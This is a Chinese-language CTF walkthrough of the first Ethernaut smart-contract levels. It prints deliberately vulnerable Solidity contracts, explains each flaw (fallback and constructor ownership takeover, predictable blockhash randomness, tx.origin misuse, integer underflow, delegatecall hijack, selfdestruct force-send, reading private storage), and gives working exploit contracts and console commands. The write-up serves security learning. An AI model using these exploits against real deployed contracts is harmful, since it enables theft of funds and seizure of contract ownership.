Eth合約攻擊


前言

Ethernaut是一個類似於CTF的智能合約平台,集成了不少的智能合約相關的安全問題,這對於安全審計人員來說是一個很不錯的學習平台,本篇文章將通過該平台來學習智能合約相關的各種安全問題,由於關卡較多,而且涉及合約的分析、攻擊流程的演示所以篇幅較長,經過縮減最終定為兩篇文章來分享。
平台地址:https://ethernaut.zeppelin.solutions

環境准備

  • Chrome瀏覽器
  • 插件——以太坊輕錢包MetaMask(https://metamask.io/)
  • 在MetaMask中調整網絡為測試網絡,之后給自己的錢包地址充值ETH。

前置知識

瀏覽器控制台
在整個Ethernaut平台的練習中我們需要通過Chrome瀏覽器的控制台來輸入一系列的命令實現與合約的交互,在這里我們可以直接在Chrome瀏覽器中按下F12,之后選擇Console模塊打開瀏覽器控制台,並查看相關信息:

具體的交互視情況而定,例如:
當控制台中輸入"player"時就看到玩家的地址信息(此時需實現Ethernaut與MetaMask的互動):

當輸入getBlance(player)當前玩家的eth余額

如果要查看控制台中的其他實用功能可以輸入"help"進行查看~
以太坊合約
在控制台中輸入"Ethernaut"即可查看當前以太坊合約所有可用函數:

通過加"."可以實現對各個函數的引用(這里也可以把ethernaut當作一個對象實例):

獲取關卡示例
我們可以通過點擊“Get new instance”來獲取關卡示例:

過關斬將

Hello Ethernaut

Hello Ethernaut這一關的目的是讓玩家熟悉靶場操作(控制台的交互、MetaMask的交互等),因此依次按照提示一步一步做就可以完成了~
首先點擊"Get new instance"來獲取關卡示例:

之后交易確認后返回一個交互合約地址:

之后在控制台中根據提示輸入以下指令:

await contract.info() "You will find what you need in info1()." await contract.info1() "Try info2(), but with "hello" as a parameter." await contract.info2("hello") "The property infoNum holds the number of the next info method to call." await contract.infoNum() 42 await contract.info42() "theMethodName is the name of the next method." await contract.theMethodName() "The method name is method7123949." await contract.method7123949() "If you know the password, submit it to authenticate()." await contract.password() "ethernaut0" await contract.authenticate("ethernaut0") 


之后等合約交互完成后直接點擊"submit instance"提交答案,並獲取當前關卡的源代碼:


之后等交易完成后給出完成關卡的提示:

並在下方給出源代碼:

pragma solidity ^0.4.18; contract Instance { string public password; uint8 public infoNum = 42; string public theMethodName = 'The method name is method7123949.'; bool private cleared = false; // constructor function Instance(string _password) public { password = _password; } function info() public pure returns (string) { return 'You will find what you need in info1().'; } function info1() public pure returns (string) { return 'Try info2(), but with "hello" as a parameter.'; } function info2(string param) public pure returns (string) { if(keccak256(param) == keccak256('hello')) { return 'The property infoNum holds the number of the next info method to call.'; } return 'Wrong parameter.'; } function info42() public pure returns (string) { return 'theMethodName is the name of the next method.'; } function method7123949() public pure returns (string) { return 'If you know the password, submit it to authenticate().'; } function authenticate(string passkey) public { if(keccak256(passkey) == keccak256(password)) { cleared = true; } } function getCleared() public view returns (bool) { return cleared; } } 

從源代碼中可以看到該關卡其實是一系列的函數調用與傳參操作,其實該關卡就是讓玩家熟悉控制台和MetaMask的使用以及配合交互操作!

Fallback

闖關要求
  • 成為合約的owner
  • 將余額減少為0
合約代碼
pragma solidity ^0.4.18; import 'zeppelin-solidity/contracts/ownership/Ownable.sol'; import 'openzeppelin-solidity/contracts/math/SafeMath.sol'; //合約Fallback繼承自Ownable contract Fallback is Ownable { using SafeMath for uint256; mapping(address => uint) public contributions; //通過構造函數初始化貢獻者的值為1000ETH function Fallback() public { contributions[msg.sender] = 1000 * (1 ether); } // 將合約所屬者移交給貢獻最高的人,這也意味着你必須要貢獻1000ETH以上才有可能成為合約的owner function contribute() public payable { require(msg.value < 0.001 ether); contributions[msg.sender] = contributions[msg.sender].add(msg.value); if(contributions[msg.sender] > contributions[owner]) { owner = msg.sender; } } //獲取請求者的貢獻值 function getContribution() public view returns (uint) { return contributions[msg.sender]; } //取款函數,且使用onlyOwner修飾,只能被合約的owner調用 function withdraw() public onlyOwner { owner.transfer(this.balance); } //fallback函數,用於接收用戶向合約發送的代幣 function() payable public { require(msg.value > 0 && contributions[msg.sender] > 0);// 判斷了一下轉入的錢和貢獻者在合約中貢獻的錢是否大於0 owner = msg.sender; } } 
合約分析

通過源代碼我們可以了解到要想改變合約的owner可以通過兩種方法實現:
1、貢獻1000ETH成為合約的owner(雖然在測試網絡中我們可以不斷的申請測試eth,但由於每次貢獻數量需要小於0.001,完成需要1000/0.001次,這顯然很不現實~)
2、通過調用回退函數fallback()來實現
顯然我們這里需要通過第二種方法來獲取合約的owner,而觸發fallback()函數也有下面兩種方式:

  • 沒有其他函數與給定函數標識符匹配
  • 合約接收沒有數據的純ether(例如:轉賬函數))

因此我們可以調用轉賬函數"await contract.sendTransaction({value:1})"或者使用matemask的轉賬功能(注意轉賬地址是合約地址也就是說instance的地址)來觸發fallback()函數。
那么分析到這里我們從理論上就可以獲取合約的owner了,那么我們如何轉走合約中的eth呢?很明顯,答案就是——調用withdraw()函數來實現。

攻擊流程
contract.contribute({value: 1}) //首先使貢獻值大於0 contract.sendTransaction({value: 1}) //觸發fallback函數 contract.withdraw() //將合約的balance清零 

首先點擊"Get new instance"來獲取一個實例:

之后開始交互,首先查看合約地址的資產總量,並向其轉1wei

等交易完成后再次獲取balance發現成功改變:

通過調用sendTransaction函數來觸發fallback函數並獲取合約的owner:

之后等交易完成后再次查看合約的owner,發現成功變為我們自己的地址:

之后調用withdraw來轉走合約的所有代幣


之后點擊"submit instance"即可完成闖關:

Fallout

闖關要求

獲取合約的owner權限

合約代碼
pragma solidity ^0.4.18; import 'zeppelin-solidity/contracts/ownership/Ownable.sol'; import 'openzeppelin-solidity/contracts/math/SafeMath.sol'; contract Fallout is Ownable { using SafeMath for uint256; mapping (address => uint) allocations; /* constructor */ function Fal1out() public payable { owner = msg.sender; allocations[owner] = msg.value; } function allocate() public payable { allocations[msg.sender] = allocations[msg.sender].add(msg.value); } function sendAllocation(address allocator) public { require(allocations[allocator] > 0); allocator.transfer(allocations[allocator]); } function collectAllocations() public onlyOwner { msg.sender.transfer(this.balance); } function allocatorBalance(address allocator) public view returns (uint) { return allocations[allocator]; } } 
合約分析

該關卡的要求是獲取合約的owner,我們從上面的代碼中可以看到沒有類似於上一關的回退函數也沒有相關的owner轉換函數,但是我們在這里卻發現一個致命的錯誤————構造函數名稱與合約名稱不一致使其成為一個public類型的函數,即任何人都可以調用,同時在構造函數中指定了函數調用者直接為合約的owner,所以我們可以直接調用構造函數Fal1out來獲取合約的ower權限。

攻擊流程

直接調用構造函數Fal1out來獲取合約的ower權限即可。
點擊“Get new instance”來獲取示例:


之后查看當前合約的owner,並調用構造函數來更換owner:

等交易完成后,再次查看合約的owner發現已經發生變化了:

之后點擊“submit instance”來提交答案即可:

Coin Flip

闖關要求

這是一個擲硬幣游戲,你需要通過猜測擲硬幣的結果來建立你的連勝記錄。要完成這個等級,你需要使用你的通靈能力來連續10次猜測正確的結果。

合約代碼
pragma solidity ^0.4.18; import 'openzeppelin-solidity/contracts/math/SafeMath.sol'; contract CoinFlip { using SafeMath for uint256; uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; function CoinFlip() public { consecutiveWins = 0; } function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(block.blockhash(block.number.sub(1))); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue.div(FACTOR); bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } } } 
合約分析

在合約的開頭先定義了三個uint256類型的數據——consecutiveWins、lastHash、FACTOR,其中FACTOR被賦予了一個很大的數值,之后查看了一下發現是2^255。
之后定義的CoinFlip為構造函數,在構造函數中將我們的猜對次數初始化為0。
之后的flip函數先定義了一個blockValue,值是前一個區塊的hash值轉換為uint256類型,block.number為當前的區塊數,之后檢查lasthash是否等於blockValue,相等則revert,回滾到調用前狀態。之后便給lasthash賦值為blockValue,所以lasthash代表的就是上一個區塊的hash值。
之后就是產生coinflip,它就是拿來判斷硬幣翻轉的結果的,它是拿blockValue/FACTR,前面也提到FACTOR實際是等於2^255,若換成256的二進制就是最左位是0,右邊全是1,而我們的blockValue則是256位的,因為solidity里“/”運算會取整,所以coinflip的值其實就取決於blockValue最高位的值是1還是0,換句話說就是跟它的最高位相等,下面的代碼就是簡單的判斷了。
通過對以上代碼的分析我們可以看到硬幣翻轉的結果其實完全取決於前一個塊的hash值,看起來這似乎是隨機的,它也確實是隨機的,然而事實上它也是可預測的,因為一個區塊當然並不只有一個交易,所以我們完全可以先運行一次這個算法,看當前塊下得到的coinflip是1還是0然后選擇對應的guess,這樣就相當於提前看了結果。因為塊之間的間隔也只有10s左右,要手工在命令行下完成合約分析中操作還是有點困難,所以我們需要在鏈上另外部署一個合約來完成這個操作,在部署時可以直接使用http://remix.ethereum.org來部署
Exploit:

pragma solidity ^0.4.18; contract CoinFlip { uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; function CoinFlip() public { consecutiveWins = 0; } function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(block.blockhash(block.number-1)); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue/FACTOR; bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } } } contract exploit { CoinFlip expFlip; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; function exploit(address aimAddr) { expFlip = CoinFlip(aimAddr); } function hack() public { uint256 blockValue = uint256(block.blockhash(block.number-1)); uint256 coinFlip = uint256(uint256(blockValue) / FACTOR); bool guess = coinFlip == 1 ? true : false; expFlip.flip(guess); } } 
攻擊流程

點擊“Get new Instance”獲取一個實例:

之后獲取合約的地址以及"consecutiveWins"的值:

之后在remix中編譯合約

之后在remix中部署“exploit”合約,這里需要使用上面獲取到的合約地址:

之后合約成功部署:

之后點擊"hack"實施攻擊(至少需要調用10次):

之后再次查看“consecutiveWins”的值,直到大於10時提交即可:


之后點擊“submit instance”提交示例:

之后成功闖關:

Telephone

闖關要求
  • 獲取合約的owner權限
合約代碼
pragma solidity ^0.4.18; contract Telephone { address public owner; function Telephone() public { owner = msg.sender; } function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } } } 
合約分析

前面是個構造函數,把owner賦給了合約的創建者,照例看了一下這是不是真的構造函數,確定沒有問題,下面一個changeOwner函數則檢查tx.origin和msg.sender是否相等,如果不一樣就把owner更新為傳入的owner。
這里涉及到了tx.origin和msg.sender的區別,前者表示交易的發送者,后者則表示消息的發送者,如果情景是在一個合約下的調用,那么這兩者是木有區別的,但是如果是在多個合約的情況下,比如用戶通過A合約來調用B合約,那么對於B合約來說,msg.sender就代表合約A,而tx.origin就代表用戶,知道了這些那么就很簡單了,和上一個題目一樣,我們這里需要另外部署一個合約來調用這兒的changeOwner:
Exploit:

pragma solidity ^0.4.18; contract Telephone { address public owner; function Telephone() public { owner = msg.sender; } function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } } } contract exploit { Telephone target = Telephone(your instance address); function hack(){ target.changeOwner(msg.sender); } } 
攻擊流程

點擊“Get new Instance”來獲取一個實例:

之后查看合約的地址:

之后用上面的地址替換exploit中的地址,最終的exp如下

pragma solidity ^0.4.18; contract Telephone { address public owner; function Telephone() public { owner = msg.sender; } function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } } } contract exploit { Telephone target = Telephone(0x932b6c14f6dd1a055206b0784f7b38d2217d30e5); function hack(){ target.changeOwner(msg.sender); } } 

之后在remix中編譯合約:

部署合約

之后查看原合約的owner地址:

之后點擊“hack”來實施攻擊:

之后成功變換合約的owner

之后點擊“submit instance”來提交示例即可:

Token

闖關要求

玩家初始有token20個,想辦法黑掉這個智能合約來獲取得更多Token!

合約代碼
pragma solidity ^0.4.18; contract Token { mapping(address => uint) balances; uint public totalSupply; function Token(uint _initialSupply) public { balances[msg.sender] = totalSupply = _initialSupply; } function transfer(address _to, uint _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } } 
合約分析

此處的映射balance代表了我們擁有的token,然后通關構造函數初始化了owner的balance,雖然不知道是多少,下面的transfer函數的功能為轉賬操作,最下面的balanceOf函數功能為查詢當前賬戶余額。
通過粗略的一遍功能查看之后我們重點來看此處的transfer()函數

function transfer(address _to, uint _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; } 

在該函數中最為關鍵第一處就是"require"校驗,此處可以通過“整數下溢”來繞過檢查,同時這里的balances和value都是無符號整數,所以無論如何他們相減之后值依舊大於0(在相等的條件下為0)。
那么在當前題目條件下(題目中token初始化為20),所以當轉21的時候則會發生下溢,導致數值變大其數值為2^256 - 1

攻擊流程

點擊“Get new instance”來獲取一個實例

之后調用transfer函數向玩家地址轉幣:

之后等交易完成之后,我們可以看到玩家的代幣數量會變得非常非得多,和我們之前預期的一樣:

之后我們點擊“submit instance”提交答案即可:

Delegation

闖關要求

獲取合約的owner權限。

合約代碼
pragma solidity ^0.4.18; contract Delegate { address public owner; function Delegate(address _owner) public { owner = _owner; } function pwn() public { owner = msg.sender; } } contract Delegation { address public owner; Delegate delegate; function Delegation(address _delegateAddress) public { delegate = Delegate(_delegateAddress); owner = msg.sender; } function() public { if(delegate.delegatecall(msg.data)) { this; } } } 
合約分析

在這里我們看到了兩個合約,Delegate初始化時將傳入的address設定為合約的owner,下面一個pwn函數也引起我們的注意,從名字也能看出挺關鍵的。
之后下面的Delegation合約則實例化了上面的Delegate合約,其fallback函數使用了delegatecall來調用其中的delegate合約,而這里的delegatecall就是問題的關鍵所在。
我們經常會使用call函數與合約進行交互,對合約發送數據,當然,call是一個較底層的接口,我們經常會把它封裝在其他函數里使用,不過性質是差不多的,這里用到的delegatecall跟call主要的不同在於通過delegatecall調用的目標地址的代碼要在當前合約的環境中執行,也就是說它的函數執行在被調用合約部分其實只用到了它的代碼,所以這個函數主要是方便我們使用存在其他地方的函數,也是模塊化代碼的一種方法,然而這也很容易遭到破壞。用於調用其他合約的call類的函數,其中的區別如下:
1、call 的外部調用上下文是外部合約
2、delegatecall 的外部調用上下是調用合約上下文
3、callcode() 其實是 delegatecall() 之前的一個版本,兩者都是將外部代碼加載到當前上下文中進行執行,但是在 msg.sender 和 msg.value 的指向上卻有差異。

在這里我們要做的就是使用delegatecall調用delegate合約的pwn函數,這里就涉及到使用call指定調用函數的操作,當你給call傳入的第一個參數是四個字節時,那么合約就會默認這四個自己就是你要調用的函數,它會把這四個字節當作函數的id來尋找調用函數,而一個函數的id在以太坊的函數選擇器的生成規則里就是其函數簽名的sha3的前4個bytes,函數前面就是帶有括號括起來的參數類型列表的函數名稱。

經過上面的簡要分析,問題就變很簡單了,sha3我們可以直接通過web3.sha3來調用,而delegatecall在fallback函數里,我們得想辦法來觸發它,前面已經提到有兩種方法來觸發,但是這里我們需要讓delegatecall使用我們發送的data,所以這里我們直接用封裝好的sendTransaction來發送data,其實到了這里我也知道了前面fallback那關我們也可以使用這個方式來觸發fallback函數:

contract.sendTransaction({data:web3.sha3("pwn()").slice(0,10)}); 
攻擊流程

點擊“get new instance”來獲取一個實例

之后通過fallback函數里的delegatecall來調用pwn函數更換owner:


之后點擊“submit instance”來提交答案

Force

闖關要求

讓合約的balance比0多

合約代碼
pragma solidity ^0.4.18; contract Force {/*  MEOW ?  /\_/\ /  ____/ o o \  /~____ =ø= /  (______)__m_m) */} 
合約分析

第一眼看上去——懵了,這是什么呀?一個貓???,合約Force中竟然沒有任何相關的合約代碼,感覺莫名奇妙。。。
經過查看資料,發現在以太坊里我們是可以強制給一個合約發送eth的,不管它要不要它都得收下,這是通過selfdestruct函數來實現的,如它的名字所顯示的,這是一個自毀函數,當你調用它的時候,它會使該合約無效化並刪除該地址的字節碼,然后它會把合約里剩余的資金發送給參數所指定的地址,比較特殊的是這筆資金的發送將無視合約的fallback函數,因為我們之前也提到了當合約直接收到一筆不知如何處理的eth時會觸發fallback函數,然而selfdestruct的發送將無視這一點,這里確實是比較有趣了。
那么接下來就非常簡單了,我們只需要創建一個合約並存點eth進去然后調用selfdestruct將合約里的eth發送給我們的目標合約就行了。

攻擊流程

點擊“Get new Instance”來獲取一個實例:

之后獲取合約地址

之后創建一個合約並存點eth進去然后調用selfdestruct將合約里的eth發送給目標合約:

pragma solidity ^0.4.20; contract Force { function Force() public payable {} function exploit(address _target) public { selfdestruct(_target); } } 

編譯合約

部署合約

之后調用“ForceSendEther()”函數,並傳入合約的地址:

交易成功之后,再次查看合約的額度發現——“非零”

之后點擊“submit instance”進行提及案例即可:

Vault

闖關要求

解鎖用戶。

合約代碼
pragma solidity ^0.4.18; contract Vault { bool public locked; bytes32 private password; function Vault(bytes32 _password) public { locked = true; password = _password; } function unlock(bytes32 _password) public { if (password == _password) { locked = false; } } } 
合約分析

從代碼里可以看到我們需要得到它的密碼來調用unlock函數以解鎖合約,而且我們注意到在開始它是直接定義存儲了password的,雖然因為是private我們不能直接看到,然而我們要知道這是在以太坊上,這是一個區塊鏈,它是透明的,數據都是存在塊里面的,所以我們可以直接拿到它。

這里通過getStorageAt函數來訪問它,getStorageAt函數可以讓我們訪問合約里狀態變量的值,它的兩個參數里第一個是合約的地址,第二個則是變量位置position,它是按照變量聲明的順序從0開始,順次加1,不過對於mapping這樣的復雜類型,position的值就沒那么簡單了。

攻擊流程

點擊“Get new Instance”之后獲取一個實例

之后在console下運行以下代碼:

web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))}); 


之后進行解鎖:


之后點擊“submit”來提交答案:

上篇分析至此結束,下篇目前已經寫好,后續不久會奉上~

參考資料

https://paper.seebug.org/624/
https://remix.readthedocs.io/en/latest/
https://ethfans.org/ajian1984/articles/33425
https://github.com/OpenZeppelin/openzeppelin-contracts
https://www.bubbles966.cn/blog/2018/05/05/analyse_dapp_by_ethernaut/
http://rickgray.me/2018/05/17/ethereum-smart-contracts-vulnerabilites-review/
http://rickgray.me/2018/05/26/ethereum-smart-contracts-vulnerabilities-review-part2/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM